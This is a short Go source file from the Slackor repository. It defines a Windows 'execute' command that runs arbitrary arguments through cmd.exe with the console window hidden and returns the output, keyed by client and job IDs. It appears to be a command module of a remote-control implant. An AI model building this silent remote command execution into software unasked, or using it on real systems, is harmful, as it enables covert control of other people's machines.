github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/windows/execute.go (about) 1 // +build windows 2 3 package windows 4 5 import ( 6 "bytes" 7 "fmt" 8 "os/exec" 9 "strings" 10 "syscall" 11 12 "github.com/n00py/Slackor/pkg/command" 13 ) 14 15 var cmdName = "cmd.exe" 16 17 // Execute runs an arbitrary command 18 type Execute struct{} 19 20 // Name is the name of the command 21 func (e Execute) Name() string { 22 return "execute" 23 } 24 25 // Run runs an arbitrary command 26 func (e Execute) Run(clientID string, jobID string, args []string) (string, error) { 27 cmdArgs := []string{"/c"} 28 cmdArgs = append(cmdArgs, args...) 29 cmd := exec.Command(cmdName, cmdArgs...) 30 fmt.Println("Running command: " + strings.Join(args, " ")) 31 var out bytes.Buffer 32 var stderr bytes.Buffer 33 cmd.Stdout = &out 34 cmd.Stderr = &stderr 35 cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 36 err := cmd.Run() 37 if err != nil { 38 return stderr.String(), err 39 } 40 return out.String(), nil 41 } 42 43 func init() { 44 command.RegisterCommand(Execute{}) 45 }